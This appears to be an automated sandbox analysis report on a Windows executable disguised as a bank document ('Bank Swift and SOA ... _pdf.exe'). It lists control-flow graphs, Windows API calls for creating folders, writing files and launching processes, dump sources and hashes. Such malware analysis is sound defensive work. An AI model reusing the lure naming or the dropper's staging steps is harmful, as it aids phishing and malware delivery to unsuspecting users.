                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CloseCreateValuelstrlen
                                                                                                            • String ID: C:\Users\user\AppData\Local\Temp\nsh20B3.tmp
                                                                                                            • API String ID: 1356686001-560201272
                                                                                                            • Opcode ID: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
                                                                                                            • Instruction ID: 3600ae87f41ed0761c30afac485ceb57641edc98565fd21ac0e2bbddf966c716
                                                                                                            • Opcode Fuzzy Hash: 57df5d2fd497d946e5d44718c2ce9500a544491e1817e3951972c4e7e3852fff
                                                                                                            • Instruction Fuzzy Hash: 511160B1A00108BEEB10AFA4DD49EAFBB7CEB50358F10443AF905B61D1D7B85D419B69

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 777 4015b9-4015cd call 402b3a call 4059e0 782 401614-401617 777->782 783 4015cf-4015eb call 405962 CreateDirectoryW 777->783 785 401646-402197 call 401423 782->785 786 401619-401638 call 401423 call 405eea SetCurrentDirectoryW 782->786 790 40160a-401612 783->790 791 4015ed-4015f8 GetLastError 783->791 798 4029c7-4029d6 785->798 786->798 800 40163e-401641 786->800 790->782 790->783 794 401607 791->794 795 4015fa-401605 GetFileAttributesW 791->795 794->790 795->790 795->794 800->798
                                                                                                            APIs
                                                                                                              • Part of subcall function 004059E0: CharNextW.USER32(?,?,00424ED8,?,00405A54,00424ED8,00424ED8,?,?,75922EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,75922EE0,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe"), ref: 004059EE
                                                                                                              • Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 004059F3
                                                                                                              • Part of subcall function 004059E0: CharNextW.USER32(00000000), ref: 00405A0B
                                                                                                            • CreateDirectoryW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
                                                                                                            • GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
                                                                                                            • GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
                                                                                                            • SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,?,00000000,000000F0), ref: 00401630
                                                                                                            Strings
                                                                                                            • C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 00401623
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
                                                                                                            • String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet
                                                                                                            • API String ID: 3751793516-35342823
                                                                                                            • Opcode ID: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
                                                                                                            • Instruction ID: 793db7a5d63411832aed35bcc9698a3b838560232fc9f0aff2bd133e4d1ca9b1
                                                                                                            • Opcode Fuzzy Hash: 9bef887c5d5f536874f37580d62bfdc690f86322df1a9697a894e0e2e9f3eda4
                                                                                                            • Instruction Fuzzy Hash: 8E11C271904100EBDF206FA0CD449AF7AB4FF14369B34463BF882B62E1D23D4941DA6E

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 803 10001771-100017ad call 10001b3e 807 100017b3-100017b7 803->807 808 100018be-100018c0 803->808 809 100017c0-100017cd call 100022eb 807->809 810 100017b9-100017bf call 100022a1 807->810 815 100017fd-10001804 809->815 816 100017cf-100017d4 809->816 810->809 817 10001824-10001828 815->817 818 10001806-10001822 call 1000248d call 100015cc call 10001280 GlobalFree 815->818 819 100017d6-100017d7 816->819 820 100017ef-100017f2 816->820 825 10001866-1000186c call 1000248d 817->825 826 1000182a-10001864 call 100015cc call 1000248d 817->826 842 1000186d-10001871 818->842 823 100017d9-100017da 819->823 824 100017df-100017e0 call 10002868 819->824 820->815 821 100017f4-100017f5 call 10002b23 820->821 835 100017fa 821->835 830 100017e7-100017ed call 1000260b 823->830 831 100017dc-100017dd 823->831 838 100017e5 824->838 825->842 826->842 841 100017fc 830->841 831->815 831->824 835->841 838->835 841->815 846 10001873-10001881 call 10002450 842->846 847 100018ae-100018b5 842->847 853 10001883-10001886 846->853 854 10001899-100018a0 846->854 847->808 849 100018b7-100018b8 GlobalFree 847->849 849->808 853->854 855 10001888-10001890 853->855 854->847 856 100018a2-100018ad call 10001555 854->856 855->854 857 10001892-10001893 FreeLibrary 855->857 856->847 857->854
                                                                                                            APIs
                                                                                                              • Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
                                                                                                              • Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
                                                                                                              • Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 1000181C
                                                                                                            • FreeLibrary.KERNEL32(?), ref: 10001893
                                                                                                            • GlobalFree.KERNEL32(00000000), ref: 100018B8
                                                                                                              • Part of subcall function 100022A1: GlobalAlloc.KERNEL32(00000040,405EA210), ref: 100022D3
                                                                                                              • Part of subcall function 1000260B: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D
                                                                                                              • Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5
                                                                                                              • Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
                                                                                                              • Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
                                                                                                              • Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Global$Free$Alloc$Librarylstrcpywsprintf
                                                                                                            • String ID:
                                                                                                            • API String ID: 1767494692-3916222277
                                                                                                            • Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
                                                                                                            • Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
                                                                                                            • Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
                                                                                                            • Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 860 403062-403070 861 403072-403088 SetFilePointer 860->861 862 40308e-403097 call 40317d 860->862 861->862 865 403177-40317a 862->865 866 40309d-4030b0 call 405bd9 862->866 869 403163 866->869 870 4030b6-4030ca call 40317d 866->870 872 403165-403166 869->872 870->865 874 4030d0-4030d3 870->874 872->865 875 4030d5-4030d8 874->875 876 40313f-403145 874->876 879 403174 875->879 880 4030de 875->880 877 403147 876->877 878 40314a-403161 ReadFile 876->878 877->878 878->869 881 403168-403171 878->881 879->865 882 4030e3-4030ed 880->882 881->879 883 4030f4-403106 call 405bd9 882->883 884 4030ef 882->884 883->869 887 403108-40311d WriteFile 883->887 884->883 888 40313b-40313d 887->888 889 40311f-403122 887->889 888->872 889->888 890 403124-403137 889->890 890->882 891 403139 890->891 891->879
                                                                                                            APIs
                                                                                                            • SetFilePointer.KERNELBASE(00409230,00000000,00000000,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000,00409230,?), ref: 00403088
                                                                                                            • WriteFile.KERNELBASE(00000000,00413E78,?,000000FF,00000000,00413E78,00004000,00409230,00409230,00000004,00000004,00000000,00000000,?,?), ref: 00403115
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$PointerWrite
                                                                                                            • String ID: x>A
                                                                                                            • API String ID: 539440098-3854404225
                                                                                                            • Opcode ID: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
                                                                                                            • Instruction ID: dc2c699ff297b31fb9e84695071232237a0836a1395088a2783af72dccbdbb3b
                                                                                                            • Opcode Fuzzy Hash: 73e73457c5bbcdafa96f221cdd1e093cd11c4acccee03c0e5d0162ce9b0576c4
                                                                                                            • Instruction Fuzzy Hash: A8312871500219EBDF10CF65EC44AAA3FBCEB08755F20813AF905AA1A0D3349E50DBA9

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 892 405b85-405b91 893 405b92-405bc6 GetTickCount GetTempFileNameW 892->893 894 405bd5-405bd7 893->894 895 405bc8-405bca 893->895 897 405bcf-405bd2 894->897 895->893 896 405bcc 895->896 896->897
                                                                                                            APIs
                                                                                                            • GetTickCount.KERNEL32 ref: 00405BA3
                                                                                                            • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,00403358,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405BBE
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CountFileNameTempTick
                                                                                                            • String ID: C:\Users\user\AppData\Local\Temp\$nsa
                                                                                                            • API String ID: 1716503409-44229769
                                                                                                            • Opcode ID: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
                                                                                                            • Instruction ID: ce32066b90f2dd5c00c4c21114408b385ae8a9c1cc04399698be8057c3d71d7e
                                                                                                            • Opcode Fuzzy Hash: 7054b5fb0d700673de611bc5c70211d8803a17d96c063a26fac21c3c19acc14a
                                                                                                            • Instruction Fuzzy Hash: B7F09676A00204BBDB008F59DC05F9BB7B9EB91710F10803AE901F7180E2B0BD40CB64
                                                                                                            APIs
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                              • Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                              • Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                              • Part of subcall function 00405665: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
                                                                                                              • Part of subcall function 00405665: CloseHandle.KERNEL32(?), ref: 00405697
                                                                                                            • WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
                                                                                                            • WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
                                                                                                            • GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
                                                                                                            • CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
                                                                                                            • String ID:
                                                                                                            • API String ID: 3585118688-0
                                                                                                            • Opcode ID: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
                                                                                                            • Instruction ID: 1710045f99402437403c6baccff52884d9c8abed8acdccfc98223cb8aca5cd2d
                                                                                                            • Opcode Fuzzy Hash: 806019d01c4059dad2e07343b2bd93566fca4abe4f6ec66dc814e8540e8620d4
                                                                                                            • Instruction Fuzzy Hash: DC11A171D04204EBCF109FA0CD459DE7AB5EB04318F20447BE505B61E0C3798A82DF99
                                                                                                            APIs
                                                                                                            • IsWindowVisible.USER32(?), ref: 00405137
                                                                                                            • CallWindowProcW.USER32(?,?,?,?), ref: 00405188
                                                                                                              • Part of subcall function 0040417B: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040418D
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Window$CallMessageProcSendVisible
                                                                                                            • String ID:
                                                                                                            • API String ID: 3748168415-3916222277
                                                                                                            • Opcode ID: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
                                                                                                            • Instruction ID: e96fcdb8fef6e8ad8397e3324e9c6cbe2a99463e9dbc89d2689884753c01e048
                                                                                                            • Opcode Fuzzy Hash: ffbbbef4bb215af9c79ac16ecb942473111b8a896db240ad95dfeee9b4123394
                                                                                                            • Instruction Fuzzy Hash: 9C019E71A00608AFDF215F11DD84FAB3A26EB84354F104136FA007E2E0C37A8C929E69
                                                                                                            APIs
                                                                                                            • CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256D8,Error launching installer), ref: 0040568A
                                                                                                            • CloseHandle.KERNEL32(?), ref: 00405697
                                                                                                            Strings
                                                                                                            • Error launching installer, xrefs: 00405678
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CloseCreateHandleProcess
                                                                                                            • String ID: Error launching installer
                                                                                                            • API String ID: 3712363035-66219284
                                                                                                            • Opcode ID: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
                                                                                                            • Instruction ID: c7c859a2db999ab7639828e98f3e535764a8332e37e79a8a612d2f3195062982
                                                                                                            • Opcode Fuzzy Hash: db986bb620d03a990efffdf1bf116708606012bbbe4d85f78c6f80e4c395a8cb
                                                                                                            • Instruction Fuzzy Hash: 19E0ECB4A01209AFEB009F64EC49A6B7BBCEB00744B908921A914F2250D778E8108A7D
                                                                                                            APIs
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061E1
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,?,?,00000000), ref: 004061F0
                                                                                                              • Part of subcall function 0040617E: CharNextW.USER32(?,"C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061F5
                                                                                                              • Part of subcall function 0040617E: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00406208
                                                                                                            • CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00403347
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Char$Next$CreateDirectoryPrev
                                                                                                            • String ID: 1033$C:\Users\user\AppData\Local\Temp\
                                                                                                            • API String ID: 4115351271-2030658151
                                                                                                            • Opcode ID: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
                                                                                                            • Instruction ID: 15e16a0f1bb74d2da72680a3c6f5190242cf739030cfb371398593c950d8801c
                                                                                                            • Opcode Fuzzy Hash: 2b9d125acdda4009adb7d2b0ceacb9d20b61df0616837bb0775500318951db81
                                                                                                            • Instruction Fuzzy Hash: 65D0C92250693171C55236663E06FCF166C8F4A32AF129077F805B90D6DB7C2A8245FE
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
